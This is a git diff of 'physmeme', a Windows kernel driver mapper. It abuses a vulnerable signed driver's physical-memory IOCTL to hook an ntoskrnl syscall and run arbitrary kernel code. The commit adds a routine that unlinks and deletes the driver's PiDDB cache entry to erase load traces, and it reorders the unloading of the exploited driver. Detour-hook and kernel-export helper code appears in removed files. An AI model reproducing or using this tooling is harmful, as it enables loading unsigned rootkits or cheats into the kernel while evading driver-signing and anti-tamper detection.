diff --git a/physmeme-lib/drv_image/drv_image.cpp b/physmeme-lib/drv_image/drv_image.cpp index 1ee8428..b51fbb5 100644 --- a/physmeme-lib/drv_image/drv_image.cpp +++ b/physmeme-lib/drv_image/drv_image.cpp @@ -62,6 +62,7 @@ namespace physmeme const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress; const auto source = (uintptr_t)m_dos_header + section.PointerToRawData; std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress); + printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", §ion.Name[0], (void*)source, (void*)target, section.SizeOfRawData); } } @@ -127,7 +128,10 @@ namespace physmeme const bool doRelocations = image_base_delta != 0 && relocation_size > 0; if (!doRelocations) + { + printf("[+] no relocations needed\n"); return; + } void* relocation_end = reinterpret_cast(relocation_directory) + relocation_size; @@ -140,8 +144,13 @@ namespace physmeme auto relocation_data = reinterpret_cast(relocation_directory + 1); for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data) + { if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) + { + printf("[+] failed to relocate!"); return; + } + } relocation_directory = reinterpret_cast(relocation_data); } @@ -160,7 +169,10 @@ namespace physmeme auto import_descriptors = static_cast(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); if (import_descriptors == nullptr) + { + printf("[+] no imports!\n"); return; + } for (; import_descriptors->Name; import_descriptors++) { @@ -168,12 +180,14 @@ namespace physmeme const auto module_name = get_rva(import_descriptors->Name); const auto module_base = get_module(module_name); + printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base); if (import_descriptors->OriginalFirstThunk) image_thunk_data = get_rva(import_descriptors->OriginalFirstThunk); else image_thunk_data = get_rva(import_descriptors->FirstThunk); auto image_func_data = get_rva(import_descriptors->FirstThunk); +; for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++) { @@ -182,6 +196,8 @@ namespace physmeme const auto image_import_by_name = get_rva(*(DWORD*)image_thunk_data); const auto name_of_import = static_cast(image_import_by_name->Name); function_address = get_function(module_name, name_of_import); + + printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address); image_func_data->u1.Function = function_address; } } diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.cpp b/physmeme-lib/kernel_ctx/kernel_ctx.cpp index 1b9ce9b..2556d7f 100644 --- a/physmeme-lib/kernel_ctx/kernel_ctx.cpp +++ b/physmeme-lib/kernel_ctx/kernel_ctx.cpp @@ -8,7 +8,7 @@ namespace physmeme return; nt_rva = reinterpret_cast( - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", syscall_hook.first.data(), true @@ -16,9 +16,13 @@ namespace physmeme nt_page_offset = nt_rva % page_size; ntoskrnl_buffer = reinterpret_cast( - LoadLibraryA(ntoskrnl_path) + LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) ); + printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); + printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer); + printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); + std::vector search_threads; //--- for each physical memory range, make a thread to search it for (auto ranges : util::pmem_ranges) @@ -31,6 +35,9 @@ namespace physmeme for (std::thread& search_thread : search_threads) search_thread.join(); + + + printf("[+] psyscall_func: 0x%p\n", psyscall_func.load()); } void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const @@ -92,10 +99,109 @@ namespace physmeme } } + bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp) + { + static const auto piddb_lock = + util::memory::get_piddb_lock(); + + static const auto piddb_table = + util::memory::get_piddb_table(); + + std::cout << "[+] piddb_lock: " << piddb_lock << std::endl; + std::cout << "[+] piddb_table: " << piddb_table << std::endl; + + if (!piddb_lock || !piddb_table) + return false; + + static const auto ex_acquire_resource = + util::get_kernel_export( + "ntoskrnl.exe", + "ExAcquireResourceExclusiveLite" + ); + + static const auto lookup_element_table = + util::get_kernel_export( + "ntoskrnl.exe", + "RtlLookupElementGenericTableAvl" + ); + + static const auto release_resource = + util::get_kernel_export( + "ntoskrnl.exe", + "ExReleaseResourceLite" + ); + + static const auto delete_table_entry = + util::get_kernel_export( + "ntoskrnl.exe", + "RtlDeleteElementGenericTableAvl" + ); + + if (!ex_acquire_resource || !lookup_element_table || !release_resource) + return false; + + PiDDBCacheEntry cache_entry; + const auto drv_name = std::wstring(file_name.begin(), file_name.end()); + cache_entry.time_stamp = timestamp; + RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data()); + + // + // ExAcquireResourceExclusiveLite + // + if (!syscall(ex_acquire_resource, piddb_lock, true)) + return false; + + // + // RtlLookupElementGenericTableAvl + // + PIDCacheobj* found_entry_ptr = + syscall( + lookup_element_table, + piddb_table, + reinterpret_cast(&cache_entry) + ); + + if (found_entry_ptr) + { + + // + // unlink entry. + // + PIDCacheobj found_entry = read_kernel(found_entry_ptr); + LIST_ENTRY NextEntry = read_kernel(found_entry.list.Flink); + LIST_ENTRY PrevEntry = read_kernel(found_entry.list.Blink); + + PrevEntry.Flink = found_entry.list.Flink; + NextEntry.Blink = found_entry.list.Blink; + + write_kernel(found_entry.list.Blink, PrevEntry); + write_kernel(found_entry.list.Flink, NextEntry); + + // + // delete entry. + // + syscall(delete_table_entry, piddb_table, found_entry_ptr); + + // + // ensure the entry is 0 + // + auto result = syscall( + lookup_element_table, + piddb_table, + reinterpret_cast(&cache_entry) + ); + + syscall(release_resource, piddb_lock); + return !result; + } + syscall(release_resource, piddb_lock); + return false; + } + void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) { static const auto ex_alloc_pool = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "ExAllocatePool" ); @@ -110,7 +216,7 @@ namespace physmeme void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type) { static const auto ex_alloc_pool_with_tag = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "ExAllocatePoolWithTag" ); @@ -126,7 +232,7 @@ namespace physmeme void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size) { static const auto mm_copy_memory = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "RtlCopyMemory" ); @@ -142,7 +248,7 @@ namespace physmeme void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size) { static const auto mm_copy_memory = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "RtlCopyMemory" ); @@ -158,7 +264,7 @@ namespace physmeme void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size) { static const auto rtl_zero_memory = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "RtlZeroMemory" ); diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.h b/physmeme-lib/kernel_ctx/kernel_ctx.h index 1829070..f3fdc6a 100644 --- a/physmeme-lib/kernel_ctx/kernel_ctx.h +++ b/physmeme-lib/kernel_ctx/kernel_ctx.h @@ -67,17 +67,22 @@ namespace physmeme void write_kernel(void* addr, void* buffer, std::size_t size); // - // zero kernel memory using RtlZeroMemory + // zero kernel memory using RtlZeroMemory // void zero_kernel_memory(void* addr, std::size_t size); + // + // clear piddb cache of a specific driver + // + bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp); + template T read_kernel(void* addr) { if (!addr) - return {}; + return {}; T buffer; - read_kernel(addr, &buffer, sizeof(T)); + read_kernel(addr, (void*)&buffer, sizeof(T)); return buffer; } @@ -85,13 +90,10 @@ namespace physmeme void write_kernel(void* addr, const T& data) { if (!addr) - return {}; - write_kernel(addr, &data, sizeof(T)); + return; + write_kernel(addr, (void*)&data, sizeof(T)); } - // - // use this to call any function in the kernel - // template std::invoke_result_t syscall(void* addr, Ts ... args) { @@ -101,15 +103,11 @@ namespace physmeme syscall_hook.first.data() ); - if (!proc || !psyscall_func || !addr) - return {}; - hook::make_hook(psyscall_func, addr); auto result = reinterpret_cast(proc)(args ...); hook::remove(psyscall_func); return result; } - private: // diff --git a/physmeme-lib/loadup.hpp b/physmeme-lib/loadup.hpp index 8f03750..6d4da1f 100644 --- a/physmeme-lib/loadup.hpp +++ b/physmeme-lib/loadup.hpp @@ -232,7 +232,7 @@ namespace driver }; const auto service_name = random_file_name(16); - const auto file_path = std::filesystem::temp_directory_path().string() + random_file_name(16); + const auto file_path = std::filesystem::temp_directory_path().string() + service_name; std::ofstream output_file(file_path.c_str(), std::ios::binary); output_file.write((char*)drv_buffer.data(), drv_buffer.size()); @@ -267,11 +267,10 @@ namespace driver RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); const bool unload_drv = !reinterpret_cast(lp_nt_unload_drv)(&driver_reg_path_unicode); - const auto image_path = util::get_service_image_path(service_name); - const bool delete_drv = std::filesystem::remove(image_path); + const auto image_path = std::filesystem::temp_directory_path().string() + service_name; const bool delete_reg = util::delete_service_entry(service_name); - - return unload_drv && delete_drv && delete_reg; + const bool delete_drv = std::filesystem::remove(image_path); + return unload_drv && delete_reg && delete_drv; } return false; } diff --git a/physmeme-lib/map_driver.cpp b/physmeme-lib/map_driver.cpp index 81892c0..f941989 100644 --- a/physmeme-lib/map_driver.cpp +++ b/physmeme-lib/map_driver.cpp @@ -10,8 +10,22 @@ namespace physmeme bool __cdecl map_driver(std::vector& raw_driver) { physmeme::drv_image image(raw_driver); + physmeme::load_drv(); physmeme::kernel_ctx ctx; + // + // unload exploitable driver + // + if (!physmeme::unload_drv()) + return false; + + // + // shoot the tires off the cache. + // + const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp; + if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) + return false; + // // lambdas used for fixing driver image // @@ -22,7 +36,7 @@ namespace physmeme const auto _get_export_name = [&](const char* base, const char* name) { - return reinterpret_cast(util::get_module_export(base, name)); + return reinterpret_cast(util::get_kernel_export(base, name)); }; // @@ -68,8 +82,6 @@ namespace physmeme // zero driver headers // ctx.zero_kernel_memory(pool_base, image.header_size()); - physmeme::unload_drv(); - return !result; // 0x0 means STATUS_SUCCESS } diff --git a/physmeme-lib/physmeme/physmeme.hpp b/physmeme-lib/physmeme/physmeme.hpp index efa9437..3feed88 100644 --- a/physmeme-lib/physmeme/physmeme.hpp +++ b/physmeme-lib/physmeme/physmeme.hpp @@ -22,16 +22,21 @@ typedef struct _GIOMAP namespace physmeme { inline std::string drv_key; + inline HANDLE drv_handle = NULL; // // please code this function depending on your method of physical read/write. // - inline HANDLE load_drv() + inline bool load_drv() { - const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver)); - drv_key = key; + const auto [result, key] = + driver::load( + raw_driver, + sizeof(raw_driver) + ); - return CreateFile( + drv_key = key; + drv_handle = CreateFile( "\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, NULL, @@ -40,6 +45,7 @@ namespace physmeme FILE_ATTRIBUTE_NORMAL, NULL ); + return drv_handle; } // @@ -50,8 +56,6 @@ namespace physmeme return driver::unload(drv_key); } - inline HANDLE drv_handle = load_drv(); - // // please code this function depending on your method of physical read/write. // @@ -70,6 +74,7 @@ namespace physmeme DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast(&in_buffer), sizeof(in_buffer), reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); return out_buffer[0]; + } // diff --git a/physmeme-lib/util/hook.hpp b/physmeme-lib/util/hook.hpp deleted file mode 100644 index 1004d9f..0000000 --- a/physmeme-lib/util/hook.hpp +++ /dev/null @@ -1,190 +0,0 @@ -/* - MIT License - - Copyright (c) 2020 xerox - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in all - copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - SOFTWARE. -*/ - -#pragma once -#include -#include -#include -#include - -#if _M_IX86 - #define OFFSET_TO_ADDRESS 0x1 -#elif _M_X64 - #define OFFSET_TO_ADDRESS 0x2 -#endif - -namespace hook -{ - static void write_to_readonly(void* addr, void* data, int size) - { - DWORD old_flags; - VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags); - memcpy((void*)addr, data, size); - VirtualProtect((LPVOID)addr, size, old_flags, &old_flags); - } - - class detour - { - public: - detour(void* addr_to_hook, void* jmp_to, bool enable = true) - : hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false) - { - //setup hook - memcpy( - jmp_code + OFFSET_TO_ADDRESS, - &jmp_to, - sizeof(jmp_to) - ); - - //save bytes - memcpy( - org_bytes, - hook_addr, - sizeof(org_bytes) - ); - if(enable) - install(); - } - - void install() - { - if (hook_installed.load()) - return; - - // mapped page is already read/write - memcpy(hook_addr, jmp_code, sizeof(jmp_code)); - hook_installed.exchange(true); - } - void uninstall() - { - if (!hook_installed.load()) - return; - - // mapped page is already read/write - memcpy(hook_addr, org_bytes, sizeof(org_bytes)); - hook_installed.exchange(false); - } - - ~detour() { uninstall(); } - bool installed() { return hook_installed; } - void* hook_address() { return hook_addr; } - void* detour_address() { return detour_addr; } - private: - std::atomic hook_installed; - void *hook_addr, *detour_addr; - -#if _M_IX86 - /* - 0: b8 ff ff ff ff mov eax, 0xffffffff - 5: ff e0 jmp eax - */ - unsigned char jmp_code[7] = { - 0xb8, 0x0, 0x0, 0x0, 0x0, - 0xFF, 0xE0 - }; -#elif _M_X64 - /* - 0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff - 7: ff e0 jmp rax - */ - unsigned char jmp_code[12] = { - 0x48, 0xb8, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0x0, - 0xff, 0xe0 - }; -#endif - std::uint8_t org_bytes[sizeof(jmp_code)]; - }; - - static std::map> hooks{}; - - /* - Author: xerox - Date: 12/19/2019 - - Create Hook without needing to deal with objects - */ - static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true) - { - if (!addr_to_hook) - return; - - hooks.insert({ - addr_to_hook, - std::make_unique( - addr_to_hook, - jmp_to_addr, - enable - )} - ); - } - - /* - Author: xerox - Date: 12/19/2019 - - Enable hook given the address to hook - */ - static void enable(void* addr) - { - if (!addr) - return; - hooks.at(addr)->install(); - } - - /* - Author: xerox - Date: 12/19/2019 - - Disable hook givent the address of the hook - */ - static void disable(void* addr) - { - if (!addr) - return; - hooks.at(addr)->uninstall(); - } - - - /* - Author: xerox - Date: 12/19/2019 - - Remove hook completely from vector - */ - static void remove(void* addr) - { - if (!addr) - return; - hooks.at(addr)->~detour(); - hooks.erase(addr); - } -} \ No newline at end of file diff --git a/physmeme-lib/util/nt.hpp b/physmeme-lib/util/nt.hpp deleted file mode 100644 index 59ed1d0..0000000 --- a/physmeme-lib/util/nt.hpp +++ /dev/null @@ -1,95 +0,0 @@ -#pragma once -#include -#include -#pragma comment(lib, "ntdll.lib") - -constexpr bool physmeme_debugging = true; -constexpr auto ntoskrnl_path = "C:\\Windows\\System32\\ntoskrnl.exe"; -constexpr auto page_size = 0x1000; - -constexpr auto SystemModuleInformation = 11; -constexpr auto SystemHandleInformation = 16; -constexpr auto SystemExtendedHandleInformation = 64; - -#define MM_COPY_MEMORY_PHYSICAL 0x1 -#define MM_COPY_MEMORY_VIRTUAL 0x2 - - -typedef struct _SYSTEM_HANDLE -{ - PVOID Object; - HANDLE UniqueProcessId; - HANDLE HandleValue; - ULONG GrantedAccess; - USHORT CreatorBackTraceIndex; - USHORT ObjectTypeIndex; - ULONG HandleAttributes; - ULONG Reserved; -} SYSTEM_HANDLE, * PSYSTEM_HANDLE; - -typedef struct _SYSTEM_HANDLE_INFORMATION_EX -{ - ULONG_PTR HandleCount; - ULONG_PTR Reserved; - SYSTEM_HANDLE Handles[1]; -} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; - -typedef enum _POOL_TYPE { - NonPagedPool, - NonPagedPoolExecute, - PagedPool, - NonPagedPoolMustSucceed, - DontUseThisType, - NonPagedPoolCacheAligned, - PagedPoolCacheAligned, - NonPagedPoolCacheAlignedMustS, - MaxPoolType, - NonPagedPoolBase, - NonPagedPoolBaseMustSucceed, - NonPagedPoolBaseCacheAligned, - NonPagedPoolBaseCacheAlignedMustS, - NonPagedPoolSession, - PagedPoolSession, - NonPagedPoolMustSucceedSession, - DontUseThisTypeSession, - NonPagedPoolCacheAlignedSession, - PagedPoolCacheAlignedSession, - NonPagedPoolCacheAlignedMustSSession, - NonPagedPoolNx, - NonPagedPoolNxCacheAligned, - NonPagedPoolSessionNx -} POOL_TYPE; - -typedef struct _RTL_PROCESS_MODULE_INFORMATION -{ - HANDLE Section; - PVOID MappedBase; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT OffsetToFileName; - UCHAR FullPathName[256]; -} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; - -typedef struct _RTL_PROCESS_MODULES -{ - ULONG NumberOfModules; - RTL_PROCESS_MODULE_INFORMATION Modules[1]; -} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; - -typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; - -typedef struct _MM_COPY_ADDRESS { - union { - PVOID VirtualAddress; - PHYSICAL_ADDRESS PhysicalAddress; - }; -} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; - -using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T); -using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG); -using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T); -using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t); \ No newline at end of file diff --git a/physmeme-lib/util/util.hpp b/physmeme-lib/util/util.hpp deleted file mode 100644 index cd49be3..0000000 --- a/physmeme-lib/util/util.hpp +++ /dev/null @@ -1,192 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "nt.hpp" - -namespace util -{ - //--- ranges of physical memory - static std::map pmem_ranges{}; - - //--- validates the address - static bool is_valid(std::uintptr_t addr) - { - for (auto range : pmem_ranges) - if (addr >= range.first && addr <= range.first + range.second) - return true; - return false; - } - - // Author: Remy Lebeau - // taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value - static const auto init_ranges = ([&]() -> bool - { - HKEY h_key; - DWORD type, size; - LPBYTE data; - RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); - RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size - data = new BYTE[size]; - RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); - DWORD count = *(DWORD*)(data + 16); - auto pmi = data + 24; - for (int dwIndex = 0; dwIndex < count; dwIndex++) - { - pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); - pmi += 20; - } - delete[] data; - RegCloseKey(h_key); - return true; - })(); - - // this was taken from wlan's drvmapper: - // https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7 - static void open_binary_file(const std::string& file, std::vector& data) - { - std::ifstream fstr(file, std::ios::binary); - fstr.unsetf(std::ios::skipws); - fstr.seekg(0, std::ios::end); - - const auto file_size = fstr.tellg(); - - fstr.seekg(NULL, std::ios::beg); - data.reserve(static_cast(file_size)); - data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); - } - - // get base address of kernel module - // - // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 - static std::uintptr_t get_module_base(const char* module_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); - if (!_stricmp(current_module_name.c_str(), module_name)) - { - const uint64_t result = reinterpret_cast(modules->Modules[idx].ImageBase); - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - // get base address of kernel module - // - // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 - static void* get_module_export(const char* module_name, const char* export_name, bool rva = false) - { - void* buffer = nullptr; - DWORD buffer_size = 0; - - NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, 0, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, 0, MEM_RELEASE); - return 0; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - // find module and then load library it - const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); - if (!_stricmp(current_module_name.c_str(), module_name)) - { - // had to shoot the tires off of "\\SystemRoot\\" - std::string full_path = reinterpret_cast(modules->Modules[idx].FullPathName); - full_path.replace( - full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, - std::string(getenv("SYSTEMROOT")).append("\\") - ); - - auto module_base = LoadLibraryA(full_path.c_str()); - PIMAGE_DOS_HEADER p_idh; - PIMAGE_NT_HEADERS p_inh; - PIMAGE_EXPORT_DIRECTORY p_ied; - - PDWORD addr, name; - PWORD ordinal; - - p_idh = (PIMAGE_DOS_HEADER)module_base; - if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) - return NULL; - - p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew); - if (p_inh->Signature != IMAGE_NT_SIGNATURE) - return NULL; - - if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) - return NULL; - - p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base + - p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - - addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions); - name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); - ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); - - // find exported function - for (auto i = 0; i < p_ied->AddressOfFunctions; i++) - if (!strcmp(export_name, (char*)module_base + name[i])) - { - if (!rva) - { - auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]); - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - else - { - auto result = (void*)addr[ordinal[i]]; - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - } - } - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } -} \ No newline at end of file diff --git a/physmeme/kernel_ctx/kernel_ctx.cpp b/physmeme/kernel_ctx/kernel_ctx.cpp index f9dd838..c8a5b07 100644 --- a/physmeme/kernel_ctx/kernel_ctx.cpp +++ b/physmeme/kernel_ctx/kernel_ctx.cpp @@ -8,7 +8,7 @@ namespace physmeme return; nt_rva = reinterpret_cast( - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", syscall_hook.first.data(), true @@ -16,7 +16,7 @@ namespace physmeme nt_page_offset = nt_rva % page_size; ntoskrnl_buffer = reinterpret_cast( - LoadLibraryA(ntoskrnl_path) + LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) ); printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); @@ -24,6 +24,7 @@ namespace physmeme printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); std::vector search_threads; + //--- for each physical memory range, make a thread to search it for (auto ranges : util::pmem_ranges) search_threads.emplace_back(std::thread( @@ -36,12 +37,13 @@ namespace physmeme for (std::thread& search_thread : search_threads) search_thread.join(); - printf("[+] psyscall_func: 0x%p\n", psyscall_func.load()); } void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const { + printf("[+] scanning from begin: 0x%p to: 0x%p\n", begin, begin + end); + //if the physical memory range is less then or equal to 2mb if (begin + end <= 0x1000 * 512) { @@ -99,10 +101,106 @@ namespace physmeme } } + bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp) + { + static const auto piddb_lock = + util::memory::get_piddb_lock(); + + static const auto piddb_table = + util::memory::get_piddb_table(); + + if (!piddb_lock || !piddb_table) + return false; + + static const auto ex_acquire_resource = + util::get_kernel_export( + "ntoskrnl.exe", + "ExAcquireResourceExclusiveLite" + ); + + static const auto lookup_element_table = + util::get_kernel_export( + "ntoskrnl.exe", + "RtlLookupElementGenericTableAvl" + ); + + static const auto release_resource = + util::get_kernel_export( + "ntoskrnl.exe", + "ExReleaseResourceLite" + ); + + static const auto delete_table_entry = + util::get_kernel_export( + "ntoskrnl.exe", + "RtlDeleteElementGenericTableAvl" + ); + + if (!ex_acquire_resource || !lookup_element_table || !release_resource) + return false; + + PiDDBCacheEntry cache_entry; + const auto drv_name = std::wstring(file_name.begin(), file_name.end()); + cache_entry.time_stamp = timestamp; + RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data()); + + // + // ExAcquireResourceExclusiveLite + // + if (!syscall(ex_acquire_resource, piddb_lock, true)) + return false; + + // + // RtlLookupElementGenericTableAvl + // + PIDCacheobj* found_entry_ptr = + syscall( + lookup_element_table, + piddb_table, + reinterpret_cast(&cache_entry) + ); + + if (found_entry_ptr) + { + + // + // unlink entry. + // + PIDCacheobj found_entry = read_kernel(found_entry_ptr); + LIST_ENTRY NextEntry = read_kernel(found_entry.list.Flink); + LIST_ENTRY PrevEntry = read_kernel(found_entry.list.Blink); + + PrevEntry.Flink = found_entry.list.Flink; + NextEntry.Blink = found_entry.list.Blink; + + write_kernel(found_entry.list.Blink, PrevEntry); + write_kernel(found_entry.list.Flink, NextEntry); + + // + // delete entry. + // + syscall(delete_table_entry, piddb_table, found_entry_ptr); + + // + // ensure the entry is 0 + // + auto result = syscall( + lookup_element_table, + piddb_table, + reinterpret_cast(&cache_entry) + ); + + syscall(release_resource, piddb_lock); + return !result; + } + syscall(release_resource, piddb_lock); + return false; + } + void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) { static const auto ex_alloc_pool = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "ExAllocatePool" ); @@ -117,7 +215,7 @@ namespace physmeme void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type) { static const auto ex_alloc_pool_with_tag = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "ExAllocatePoolWithTag" ); @@ -133,7 +231,7 @@ namespace physmeme void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size) { static const auto mm_copy_memory = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "RtlCopyMemory" ); @@ -149,7 +247,7 @@ namespace physmeme void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size) { static const auto mm_copy_memory = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "RtlCopyMemory" ); @@ -165,7 +263,7 @@ namespace physmeme void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size) { static const auto rtl_zero_memory = - util::get_module_export( + util::get_kernel_export( "ntoskrnl.exe", "RtlZeroMemory" ); diff --git a/physmeme/kernel_ctx/kernel_ctx.h b/physmeme/kernel_ctx/kernel_ctx.h index 1829070..19647e8 100644 --- a/physmeme/kernel_ctx/kernel_ctx.h +++ b/physmeme/kernel_ctx/kernel_ctx.h 